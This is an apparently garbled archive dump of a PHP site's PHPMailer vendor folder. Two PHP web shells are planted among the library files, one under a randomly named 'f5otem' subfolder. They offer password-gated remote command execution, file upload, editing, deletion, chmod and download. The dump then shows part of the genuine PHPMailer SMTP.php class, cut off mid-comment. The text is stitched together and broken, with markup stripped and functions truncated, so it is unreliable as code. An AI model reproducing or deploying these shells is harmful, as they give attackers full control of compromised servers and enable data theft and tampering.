"; } die(); } } function curldir() { if (isset($_GET['dir'])) { $dir = str_replace("\\", "/", $_GET['dir']); @chdir($dir); } else { $dir = str_replace("\\", "/", getcwd()); } return $dir; } function scdir() { $dir = @scandir(curldir()); return $dir; } function edit($dir) { if (isset($_POST['edit'])) { if (@file_put_contents($dir, $_POST['edit'])) { $nb = "Success"; } else { $nb = "Failed"; } } $text = @htmlspecialchars(@file_get_contents($dir)); ?>
Jumping
List Domain :
window.location='?dir=" . curldir() . "';"; } else { return false; } } else { if (@unlink($dir)) { print ""; } else { return false; } } } function renames($dir) { if (isset($_POST['name'])) { if (@file_exists($dir)) { if (@rename($dir, $_POST['name'])) { $nb = ""; } else { $nb = "Failed"; } } } ?>
FILE EDITOR
Filename :
File Size :
MIME-type :
Permission :
Edit
Rename
Chmod
Delete
Download
RENAME
Filename :
File Size :
MIME-type :
Permission :
Edit
Rename
Chmod
Delete
Download
= 1024) { $size = round($size / 1024, 2) . ' MB'; } else { $size = $size . ' KB'; } return $size; } function view($filename) { $text = @htmlspecialchars(@file_get_contents($filename)); ?>
CHMOD
Filename :
File Size :
MIME-type :
Permission :
Edit
Rename
Chmod
Delete
Download
" . exe($_POST['cmd']) . "
"; } die(); } function filemanager() { print "
Command
"; print ""; print ""; print ""; print ""; print ""; foreach (scdir() as $folder) { if (!is_dir(curldir() . DIRECTORY_SEPARATOR . $folder)) { continue; } if ($folder === '.' || $folder === '..') { continue; } $tool = " RenameDelete"; print ""; print ""; print ""; } print ""; foreach (scdir() as $file) { if (!is_file(curldir() . DIRECTORY_SEPARATOR . $file)) { continue; } $tools = " View Rename Chmod Delete Download"; print ""; print ""; print ""; } } @filemanager(); ?> PHPMailer/vendor/phpmailer/phpmailer/src/f5otem/nyxo7.php000064400000015667151026170410017363 0ustar00"; } return "<$type name='$name' style='$style'>$val"; } function makeForm($method, $inputArray,$file = ""){ $form = ""; foreach($inputArray as $key=>$val){ $form .= makeInput($key,(is_array($val) ? $val[0] : $val), (has($val[1]) ? $val[1] : ""), (has($val[2]) ? $val[2] : "")); } return $form.""; } function makeTable($thead,$tbody){ $head = ""; foreach($thead as $th){ $head .= ""; } $body = ""; foreach($tbody as $tr){ $body .= ""; foreach($tr as $td){ $body .= ""; } $body .= ""; } return "
FilenameTypeSizePermission
"; print "
" . type($folder) . "
--
"; print @w($folder, @perms($folder)); print "
"; print "
" . type($file) . "
" . size($file) . "
"; print @w($file, @perms($file)); print "
© X
$th
$td
$head$body
"; } function makeLink($link,$text,$target = ""){ return "$text "; } function login(){ if(get_session('login')){ return true; } if(!get_post('login')){ return false; } if(get_post('pass') != password){ return false; } set_session('login',true); return true; } function get_path(){ $path = __dir__; if(get_get('path')){ $path = get_get('path'); } return $path; } function filesize_convert($bytes){ $label = array('B', 'KB', 'MB', 'GB', 'TB', 'PB'); for($i = 0; $bytes >= 1024 && $i < (count($label) -1); $bytes /= 1024, $i++); return(round($bytes, 2) . " " . $label[$i]); } function fileTime($path){ return date("M d Y H:i:s", filemtime($path)); } function download_file($download){ if(!is_file($download)){ return false; } header('Content-Type: application/octet-stream'); header('Content-Transfer-Encoding: Binary'); header('Content-disposition: attachment; filename="'.basename($download).'"'); return readfile($download); } function delete_file($delete){ if(is_file($delete)){ return unlink($delete); } if(is_dir($delete)){ return rmdir($delete); } return false; } function edit_file($edit){ if(is_file($edit)){ return makeForm('POST', ['textarea'=>['edit',htmlentities(file_get_contents($edit)),"width:100%;height:90%"], 'submit'=>['save','Save']]); } return false; } function save_edit($path,$str){ if(is_file($path)){ file_put_contents($path,html_entity_decode($str)); return true; } return false; } function view_file($path){ if(is_file($path)){ return htmlentities(file_get_contents($path)); } return false; } function new_file($path,$name){ if(!is_file($path.'/'.$name)){ file_put_contents($path.'/'.$name,""); return true; } return false; } function new_dir($path,$name){ if(!is_dir($path.'/'.$name)){ mkdir($path.'/'.$name); return true; } return false; } function upload_file($path,$file){ $name = basename($file['name']); if(!is_file($path.'/'.$name)){ if(move_uploaded_file($file["tmp_name"], $path.'/'.$name)){ return true; } } return false; } function get_back($path){ if($path == "" || $path == "/"){ return $path; } $path = explode("/",str_replace('\\','/',$path)); array_pop($path); return implode("/",$path); } function win_disk(){ exec("wmic logicaldisk get caption",$c); $ret = ""; foreach($c as $d) $ret .= ($d != "Caption" ? makeLink("?path=$d",$d) : ""); return $ret; } function get_dir(){ $path = get_path(); if(!is_dir($path)){ return false; } $dir = scandir($path); $files = []; $i = 0; foreach($dir as $d){ if($d == '.' || $d == '..'){ continue; } $p = $path.'/'.$d; $s = '--'; $icon = "📁"; $t = fileTime($p); $l = makeLink("?path=$p",$d); $perms = substr(sprintf("%o", fileperms($p)),-4); $owner = (function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($p))['name'] : fileowner($p)); $controller = (is_file($p) ? makeLink("?edit=$p","Edit","_blank") : ''). makeLink("?delete=$p","Delete","_blank"). (is_file($p) ? makeLink("?download=$p","Download","_blank") : ''); if(is_file($p)){ $s = filesize_convert(filesize($p)); $icon = "📝"; } $files[] = [$icon,$i,$l,$s,$t,$perms,$owner,$controller]; $i++; } return makeTable(['#','id','Filename','Size','Modified','Perms','Owner',''],$files); } $loginTemplate = makeForm('POST',['p'=>['','Password: '],'password'=>['pass', ''],'submit'=>['login','Login']]); if(!login()){ dd($loginTemplate); } if(get_get("delete")){ delete_file(get_get("delete")) ? dd("Deleted: ".get_get("delete")) : dd("File not found"); } if(get_get("edit")){ if(get_post('save')){ save_edit(get_get('edit'),get_post('edit')); echo "Saved"; } $edit = edit_file(get_get("edit")); $edit ? dd($edit) : dd("File not found"); } if(get_get('download')){ @readfile(download_file(get_get('download'))); exit(); } if(get_post('newfile')){ new_file(get_path(),get_post('filename')) ? dd('Create: '.get_post('filename')) : dd('File exites'); } if(get_post('newdir')){ new_dir(get_path(),get_post('dirname')) ? dd('Create: '.get_post('dirname')) : dd('Dir exites'); } if(get_post('upload')){ upload_file(get_path(),$_FILES['file']) ? dd('upload: '. $_FILES['file']['name']) : dd('Upload Error'); } echo "". makeForm('POST',['text'=>['filename','File Name'],'submit'=>['newfile','Create']]). makeForm('POST',['text'=>['dirname','Dir Name'],'submit'=>['newdir','Create']]). makeForm('POST',['file'=>'file','submit'=>['upload','Upload']],'multipart/form-data'). makeLink("?path=".get_back(get_path()),"[Back]"). (PHP_OS_FAMILY == "Windows" ? win_disk() : ""). (is_dir(get_path()) ? get_dir() : '
'.view_file(get_path()).'
') .""; PHPMailer/vendor/phpmailer/phpmailer/src/SMTP.php000064400000134456151026170410015661 0ustar00 * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer RFC821 SMTP email transport class. * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server. * * @author Chris Ryan * @author Marcus Bointon */ class SMTP { /** * The PHPMailer SMTP version number. * * @var string */ const VERSION = '6.7.1'; /** * SMTP line break constant. * * @var string */ const LE = "\r\n"; /** * The SMTP port to use if one is not specified. * * @var int */ const DEFAULT_PORT = 25; /** * The maximum line length allowed by RFC 5321 section 4.5.3.1.6, * *excluding* a trailing CRLF break. * * @see https://tools.ietf.org/html/rfc5321#section-4.5.3.1.6 * * @var int */ const MAX_LINE_LENGTH = 998; /** * The maximum line length allowed for replies in RFC 5321 section 4.5.3.1.5, * *including* a trailing CRLF line break. * * @see https://tools.ietf.org/html/rfc5321#section-4.5.3.1.5 * * @var int */ const MAX_REPLY_LENGTH = 512; /** * Debug level for no output. * * @var int */ const DEBUG_OFF = 0; /** * Debug level to show client -> server messages. * * @var int */ const DEBUG_CLIENT = 1; /** * Debug level to show client -> server and server -> client messages. * * @var int */ const DEBUG_SERVER = 2; /** * Debug level to show connection status, client -> server and server -> client messages. * * @var int */ const DEBUG_CONNECTION = 3; /** * Debug level to show all messages. * * @var int */ const DEBUG_LOWLEVEL = 4; /** * Debug output level. * Options: * * self::DEBUG_OFF (`0`) No debug output, default * * self::DEBUG_CLIENT (`1`) Client commands * * self::DEBUG_SERVER (`2`) Client commands and server responses * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages. * * @var int */ public $do_debug = self::DEBUG_OFF; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `
`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to use VERP. * * @see http://en.wikipedia.org/wiki/Variable_envelope_return_path * @see http://www.postfix.org/VERP_README.html Info on VERP * * @var bool */ public $do_verp = false; /** * The timeout value for connection, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure. * * @see http://tools.ietf.org/html/rfc2821#section-4.5.3.2 * * @var int */ public $Timeout = 300; /** * How long to wait for commands to complete, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timelimit = 300; /** * Patterns to extract an SMTP transaction id from reply to a DATA command. * The first capture group in each regex will be used as the ID. * MS ESMTP returns the message ID, which may not be correct for internal tracking. * * @var string[] */ protected $smtp_transaction_id_patterns = [ 'exim' => '/[\d]{3} OK id=(.*)/', 'sendmail' => '/[\d]{3} 2.0.0 (.*) Message/', 'postfix' => '/[\d]{3} 2.0.0 Ok: queued as (.*)/', 'Microsoft_ESMTP' => '/[0-9]{3} 2.[\d].0 (.*)@(?:.*) Queued mail for delivery/', 'Amazon_SES' => '/[\d]{3} Ok (.*)/', 'SendGrid' => '/[\d]{3} Ok: queued as (.*)/', 'CampaignMonitor' => '/[\d]{3} 2.0.0 OK:([a-zA-Z\d]{48})/', 'Haraka' => '/[\d]{3} Message Queued \((.*)\)/', 'Mailjet' => '/[\d]{3} OK queued as (.*)/', ]; /** * The last transaction ID issued in response to a DATA command, * if one was detected. * * @var string|bool|null */ protected $last_smtp_transaction_id; /** * The socket for the server connection. * * @var ?resource */ protected $smtp_conn; /** * Error information, if any, for the last SMTP command. * * @var array */ protected $error = [ 'error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '', ]; /** * The reply the server sent to us for HELO. * If null, no HELO string has yet been received. * * @var string|null */ protected $helo_rply; /** * The set of SMTP extensions sent in reply to EHLO command. * Indexes of the array are extension names. * Value at index 'HELO' or 'EHLO' (according to command that was sent) * represents the server name. In case of HELO it is the only element of the array. * Other values can be boolean TRUE or an array containing extension options. * If null, no HELO/EHLO string has yet been received. * * @var array|null */ protected $server_caps; /** * The most recent reply received from the server. * * @var string */ protected $last_reply = ''; /** * Output debugging info via a user-selected method. * * @param string $str Debug string to output * @param int $level The debug level of this message; see DEBUG_* constants * * @see SMTP::$Debugoutput * @see SMTP::$do_debug */ protected function edebug($str, $level = 0) { if ($level > $this->do_debug) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug($str); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $level); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo gmdate('Y-m-d H:i:s'), ' ', htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "
\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Connect to an SMTP server. * * @param string $host SMTP server IP or host name * @param int $port The port number to connect to * @param int $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * * @return bool */ public function connect($host, $port = null, $timeout = 30, $options = []) { //Clear errors to avoid confusion $this->setError(''); //Make sure we are __not__ connected if ($this->connected()) { //Already connected, generate error $this->setError('Already connected to a server'); return false; } if (empty($port)) { $port = self::DEFAULT_PORT; } //Connect to the SMTP server $this->edebug( "Connection: opening to $host:$port, timeout=$timeout, options=" . (count($options) > 0 ? var_export($options, true) : 'array()'), self::DEBUG_CONNECTION ); $this->smtp_conn = $this->getSMTPConnection($host, $port, $timeout, $options); if ($this->smtp_conn === false) { //Error info already set inside `getSMTPConnection()` return false; } $this->edebug('Connection: opened', self::DEBUG_CONNECTION); //Get any announcement $this->last_reply = $this->get_lines(); $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); $responseCode = (int)substr($this->last_reply, 0, 3); if ($responseCode === 220) { return true; } //Anything other than a 220 response means something went wrong //RFC 5321 says the server will wait for us to send a QUIT in response to a 554 error //https://tools.ietf.org/html/rfc5321#section-3.1 if ($responseCode === 554) { $this->quit(); } //This will handle 421 responses which may not wait for a QUIT (e.g. if the server is being shut down) $this->edebug('Connection: closing due to error', self::DEBUG_CONNECTION); $this->close(); return false; } /** * Create connection to the SMTP server. * * @param string $host SMTP server IP or host name * @param int $port The port number to connect to * @param int $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * * @return false|resource */ protected function getSMTPConnection($host, $port = null, $timeout = 30, $options = []) { static $streamok; //This is enabled by default since 5.0.0 but some providers disable it //Check this once and cache the result if (null === $streamok) { $streamok = function_exists('stream_socket_client'); } $errno = 0; $errstr = ''; if ($streamok) { $socket_context = stream_context_create($options); set_error_handler([$this, 'errorHandler']); $connection = stream_socket_client( $host . ':' . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context ); } else { //Fall back to fsockopen which should work in more places, but is missing some features $this->edebug( 'Connection: stream_socket_client not available, falling back to fsockopen', self::DEBUG_CONNECTION ); set_error_handler([$this, 'errorHandler']); $connection = fsockopen( $host, $port, $errno, $errstr, $timeout ); } restore_error_handler(); //Verify we connected properly if (!is_resource($connection)) { $this->setError( 'Failed to connect to server', '', (string) $errno, $errstr ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT ); return false; } //SMTP server can take longer to respond, give longer timeout for first read //Windows does not have support for this timeout function if (strpos(PHP_OS, 'WIN') !== 0) { $max = (int)ini_get('max_execution_time'); //Don't bother if unlimited, or if set_time_limit is disabled if (0 !== $max && $timeout > $max && strpos(ini_get('disable_functions'), 'set_time_limit') === false) { @set_time_limit($timeout); } stream_set_timeout($connection, $timeout, 0); } return $connection; } /** * Initiate a TLS (encrypted) session. * * @return bool */ public function startTLS() { if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false; } //Allow the best TLS version(s) we can $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT //so add them back in manually if we can if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) { $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; } //Begin encrypted connection set_error_handler([$this, 'errorHandler']); $crypto_ok = stream_socket_enable_crypto( $this->smtp_conn, true, $crypto_method ); restore_error_handler(); return (bool) $crypto_ok; } /** * Perform SMTP authentication. * Must be run after hello(). * * @see hello() * * @param string $username The user name * @param string $password The password * @param string $authtype The auth type (CRAM-MD5, PLAIN, LOGIN, XOAUTH2) * @param OAuthTokenProvider $OAuth An optional OAuthTokenProvider instance for XOAUTH2 authentication * * @return bool True if successfully authenticated */ public function authenticate( $username, $password, $authtype = null, $OAuth = null ) { if (!$this->server_caps) { $this->setError('Authentication is not allowed before HELO/EHLO'); return false; } if (array_key_exists('EHLO', $this->server_caps)) { //SMTP extensions are available; try to find a proper authentication method if (!array_key_exists('AUTH', $this->server_caps)) { $this->setError('Authentication is not allowed at this stage'); //'at this stage' means that auth may be allowed after the stage changes //e.g. after STARTTLS return false; } $this->edebug('Auth method requested: ' . ($authtype ?: 'UNSPECIFIED'), self::DEBUG_LOWLEVEL); $this->edebug( 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL ); //If we have requested a specific auth type, check the server supports it before trying others if (null !== $authtype && !in_array($authtype, $this->server_caps['AUTH'], true)) { $this->edebug('Requested auth method not available: ' . $authtype, self::DEBUG_LOWLEVEL); $authtype = null; } if (empty($authtype)) { //If no auth mechanism is specified, attempt to use these, in this order //Try CRAM-MD5 first as it's more secure than the others foreach (['CRAM-MD5', 'LOGIN', 'PLAIN', 'XOAUTH2'] as $method) { if (in_array($method, $this->server_caps['AUTH'], true)) { $authtype = $method; break; } } if (empty($authtype)) { $this->setError('No supported authentication methods found'); return false; } $this->edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL); } if (!in_array($authtype, $this->server_caps['AUTH'], true)) { $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); return false; } } elseif (empty($authtype)) { $authtype = 'LOGIN'; } switch ($authtype) { case 'PLAIN': //Start authentication if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { return false; } //Send encoded username and password if ( //Format from https://tools.ietf.org/html/rfc4616#section-2 //We skip the first field (it's forgery), so the string starts with a null byte !$this->sendCommand( 'User & Password', base64_encode("\0" . $username . "\0" . $password), 235 ) ) { return false; } break; case 'LOGIN': //Start authentication if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { return false; } if (!$this->sendCommand('Username', base64_encode($username), 334)) { return false; } if (!$this->sendCommand('Password', base64_encode($password), 235)) { return false; } break; case 'CRAM-MD5': //Start authentication if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { return false; } //Get the challenge $challenge = base64_decode(substr($this->last_reply, 4)); //Build the response $response = $username . ' ' . $this->hmac($challenge, $password); //send encoded credentials return $this->sendCommand('Username', base64_encode($response), 235); case 'XOAUTH2': //The OAuth instance must be set up prior to requesting auth. if (null === $OAuth) { return false; } $oauth = $OAuth->getOauth64(); //Start authentication if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) { return false; } break; default: $this->setError("Authentication method \"$authtype\" is not supported"); return false; } return true; } /** * Calculate an MD5 HMAC hash. * Works like hash_hmac('md5', $data, $key) * in case that function is not available. * * @param string $data The data to hash * @param string $key The key to hash with * * @return string */ protected function hmac($data, $key) { if (function_exists('hash_hmac')) { return hash_hmac('md5', $data, $key); } //The following borrowed from //http://php.net/manual/en/function.mhash.php#27225 //RFC 2104 HMAC implementation for php. //Creates an md5 HMAC. //Eliminates the need to install mhash to compute a HMAC //by Lance Rushing $bytelen = 64; //byte length for md5 if (strlen($key) > $bytelen) { $key = pack('H*', md5($key)); } $key = str_pad($key, $bytelen, chr(0x00)); $ipad = str_pad('', $bytelen, chr(0x36)); $opad = str_pad('', $bytelen, chr(0x5c)); $k_ipad = $key ^ $ipad; $k_opad = $key ^ $opad; return md5($k_opad . pack('H*', md5($k_ipad . $data))); } /** * Check connection state. * * @return bool True if connected */ public function connected() { if (is_resource($this->smtp_conn)) { $sock_status = stream_get_meta_data($this->smtp_conn); if ($sock_status['eof']) { //The socket is valid but we are not connected $this->edebug( 'SMTP NOTICE: EOF caught while checking if connected', self::DEBUG_CLIENT ); $this->close(); return false; } return true; //everything looks good } return false; } /** * Close the socket and clean up the state of the class. * Don't use this function without first trying to use QUIT. * * @see quit() */ public function close() { $this->server_caps = null; $this->helo_rply = null; if (is_resource($this->smtp_conn)) { //Close the connection and cleanup fclose($this->smtp_conn); $this->smtp_conn = null; //Makes for cleaner serialization $this->edebug('Connection: closed', self::DEBUG_CONNECTION); } } /** * Send an SMTP DATA command. * Issues a data command and sends the msg_data to the server, * finalizing the mail transaction. $msg_data is the message * that is to be send with the headers. Each header needs to be * on a single line followed by a with the message headers * and the message body being separated by an additional . * Implements RFC 821: DATA . * * @param string $msg_data Message data to send * * @return bool */ public function data($msg_data) { //This will use the standard timelimit if (!$this->sendCommand('DATA', 'DATA', 354)) { return false; } /* The server is ready to accept data! * According to rfc821 we should not send more than 1000 characters on a single line (including the LE) * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into * smaller lines to fit within the limit. * We will also look for lines that start with a '.' and prepend an additional '.'. * NOTE: this does not count towards line-length limit. */ //Normalize line breaks before exploding $lines = explode("\n", str_replace(["\r\n", "\r"], "\n", $msg_data)); /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field * of the first line (':' separated) does not contain a space then it _should_ be a header and we will * process all lines before a blank line as headers. */ $field = substr($lines[0], 0, strpos($lines[0], ':')); $in_headers = false; if (!empty($field) && strpos($field, ' ') === false) { $in_headers = true; } foreach ($lines as $line) { $lines_out = []; if ($in_headers && $line === '') { $in_headers = false; } //Break this line up into several smaller lines if it's too long //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len), while (isset($line[self::MAX_LINE_LENGTH])) { //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on //so as to avoid breaking in the middle of a word $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' '); //Deliberately matches both false and 0 if (!$pos) { //No nice break found, add a hard break $pos = self::MAX_LINE_LENGTH - 1; $lines_out[] = substr($line, 0, $pos); $line = substr($line, $pos); } else { //Break at the found point $lines_out[] = substr($line, 0, $pos); //Move along by the amount we dealt with $line = substr($line, $pos + 1); } //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1 if ($in_headers) { $line = "\t" . $line; } } $lines_out[] = $line; //Send the lines to the server foreach ($lines_out as $line_out) { //Dot-stuffing as per RFC5321 section 4.5.2 //https://tools.ietf.org/html/rfc5321#section-4.5.2 if (!empty($line_out) && $line_out[0] === '.') { $line_out = '.' . $line_out; } $this->client_send($line_out . static::LE, 'DATA'); } } //Message data has been sent, complete the command //Increase timelimit for end of DATA command $savetimelimit = $this->Timelimit; $this->Timelimit *= 2; $result = $this->sendCommand('DATA END', '.', 250); $this->recordLastTransactionID(); //Restore timelimit $this->Timelimit = $savetimelimit; return $result; } /** * Send an SMTP HELO or EHLO command. * Used to identify the sending server to the receiving server. * This makes sure that client and server are in a known state. * Implements RFC 821: HELO * and RFC 2821 EHLO. * * @param string $host The host name or IP to connect to * * @return bool */ public function hello($host = '') { //Try extended hello first (RFC 2821) if ($this->sendHello('EHLO', $host)) { return true; } //Some servers shut down the SMTP service here (RFC 5321) if (substr($this->helo_rply, 0, 3) == '421') { return false; } return $this->sendHello('HELO', $host); } /** * Send an SMTP HELO or EHLO command. * Low-level implementation used by hello(). * * @param string $hello The HELO string * @param string $host The hostname to say we are * * @return bool * * @see hello() */ protected function sendHello($hello, $host) { $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250); $this->helo_rply = $this->last_reply; if ($noerror) { $this->parseHelloFields($hello); } else { $this->server_caps = null; } return $noerror; } /** * Parse a reply to HELO/EHLO command to discover server extensions. * In case of HELO, the only parameter that can be discovered is a server name. * * @param string $type `HELO` or `EHLO` */ protected function parseHelloFields($type) { $this->server_caps = []; $lines = explode("\n", $this->helo_rply); foreach ($lines as $n => $s) { //First 4 chars contain response code followed by - or space $s = trim(substr($s, 4)); if (empty($s)) { continue; } $fields = explode(' ', $s); if (!empty($fields)) { if (!$n) { $name = $type; $fields = $fields[0]; } else { $name = array_shift($fields); switch ($name) { case 'SIZE': $fields = ($fields ? $fields[0] : 0); break; case 'AUTH': if (!is_array($fields)) { $fields = []; } break; default: $fields = true; } } $this->server_caps[$name] = $fields; } } } /** * Send an SMTP MAIL command. * Starts a mail transaction from the email address specified in * $from. Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. * Implements RFC 821: MAIL FROM: . * * @param string $from Source address of this message * * @return bool */ public function mail($from) { $useVerp = ($this->do_verp ? ' XVERP' : ''); return $this->sendCommand( 'MAIL FROM', 'MAIL FROM:<' . $from . '>' . $useVerp, 250 ); } /** * Send an SMTP QUIT command. * Closes the socket if there is no error or the $close_on_error argument is true. * Implements from RFC 821: QUIT . * * @param bool $close_on_error Should the connection close if an error occurs? * * @return bool */ public function quit($close_on_error = true) { $noerror = $this->sendCommand('QUIT', 'QUIT', 221); $err = $this->error; //Save any error if ($noerror || $close_on_error) { $this->close(); $this->error = $err; //Restore any error from the quit command } return $noerror; } /** * Send an SMTP RCPT command. * Sets the TO argument to $toaddr. * Returns true if the recipient was accepted false if it was rejected. * Implements from RFC 821: RCPT TO: . * * @param string $address The address the message is being sent to * @param string $dsn Comma separated list of DSN notifications. NEVER, SUCCESS, FAILURE * or DELAY. If you specify NEVER all other notifications are ignored. * * @return bool */ public function recipient($address, $dsn = '') { if (empty($dsn)) { $rcpt = 'RCPT TO:<' . $address . '>'; } else { $dsn = strtoupper($dsn); $notify = []; if (strpos($dsn, 'NEVER') !== false) { $notify[] = 'NEVER'; } else { foreach (['SUCCESS', 'FAILURE', 'DELAY'] as $value) { if (strpos($dsn, $value) !== false) { $notify[] = $value; } } } $rcpt = 'RCPT TO:<' . $address . '> NOTIFY=' . implode(',', $notify); } return $this->sendCommand( 'RCPT TO', $rcpt, [250, 251] ); } /** * Send an SMTP RSET command. * Abort any transaction that is currently in progress. * Implements RFC 821: RSET . * * @return bool True on success */ public function reset() { return $this->sendCommand('RSET', 'RSET', 250); } /** * Send a command to an SMTP server and check its return code. * * @param string $command The command name - not sent to the server * @param string $commandstring The actual command to send * @param int|array $expect One or more expected integer success codes * * @return bool True on success */ protected function sendCommand($command, $commandstring, $expect) { if (!$this->connected()) { $this->setError("Called $command without being connected"); return false; } //Reject line breaks in all commands if ((strpos($commandstring, "\n") !== false) || (strpos($commandstring, "\r") !== false)) { $this->setError("Command '$command' contained line breaks"); return false; } $this->client_send($commandstring . static::LE, $command); $this->last_reply = $this->get_lines(); //Fetch SMTP code and possible error code explanation $matches = []; if (preg_match('/^([\d]{3})[ -](?:([\d]\\.[\d]\\.[\d]{1,2}) )?/', $this->last_reply, $matches)) { $code = (int) $matches[1]; $code_ex = (count($matches) > 2 ? $matches[2] : null); //Cut off error code from each response line $detail = preg_replace( "/{$code}[ -]" . ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . '/m', '', $this->last_reply ); } else { //Fall back to simple parsing if regex fails $code = (int) substr($this->last_reply, 0, 3); $code_ex = null; $detail = substr($this->last_reply, 4); } $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER); if (!in_array($code, (array) $expect, true)) { $this->setError( "$command command failed", $detail, $code, $code_ex ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply, self::DEBUG_CLIENT ); return false; } //Don't clear the error store when using keepalive if ($command !== 'RSET') { $this->setError(''); } return true; } /** * Send an SMTP SAML command. * Starts a mail transaction from the email address specified in $from. * Returns true if successful or false otherwise. If True * the mail transaction is started and then one or more recipient * commands may be called followed by a data command. This command * will send the message to the users terminal if they are logged * in and send them an email. * Implements RFC 821: SAML FROM: . * * @param string $from The address the message is from * * @return bool */ public function sendAndMail($from) { return $this->sendCommand('SAML', "SAML FROM:$from", 250); } /** * Send an SMTP VRFY command. * * @param string $name The name to verify * * @return bool */ public function verify($name) { return $this->sendCommand('VRFY', "VRFY $name", [250, 251]); } /** * Send an SMTP NOOP command. * Used to keep keep-alives alive, doesn't actually do anything. * * @return bool */ public function noop() { return $this->sendCommand('NOOP', 'NOOP', 250); } /** * Send an SMTP TURN command. * This is an optional command for SMTP that this class does not support. * This method is here to make the RFC821 Definition complete for this class * and _may_ be implemented in future. * Implements from RFC 821: TURN . * * @return bool */ public function turn() { $this->setError('The SMTP TURN command is not implemented'); $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT); return false; } /** * Send raw data to the server. * * @param string $data The data to send * @param string $command Optionally, the command this is part of, used only for controlling debug output * * @return int|bool The number of bytes sent to the server or false on error */ public function client_send($data, $command = '') { //If SMTP transcripts are left enabled, or debug output is posted online //it can leak credentials, so hide credentials in all but lowest level if ( self::DEBUG_LOWLEVEL > $this->do_debug && in_array($command, ['User & Password', 'Username', 'Password'], true) ) { $this->edebug('CLIENT -> SERVER: [credentials hidden]', self::DEBUG_CLIENT); } else { $this->edebug('CLIENT -> SERVER: ' . $data, self::DEBUG_CLIENT); } set_error_handler([$this, 'errorHandler']); $result = fwrite($this->smtp_conn, $data); restore_error_handler(); return $result; } /** * Get the latest error. * * @return array */ public function getError() { return $this->error; } /** * Get SMTP extensions available on the server. * * @return array|null */ public function getServerExtList() { return $this->server_caps; } /** * Get metadata about the SMTP server from its HELO/EHLO response. * The method works in three ways, dependent on argument value and current state: * 1. HELO/EHLO has not been sent - returns null and populates $this->error. * 2. HELO has been sent - * $name == 'HELO': returns server name * $name == 'EHLO': returns boolean false * $name == any other string: returns null and populates $this->error * 3. EHLO has been sent - * $name == 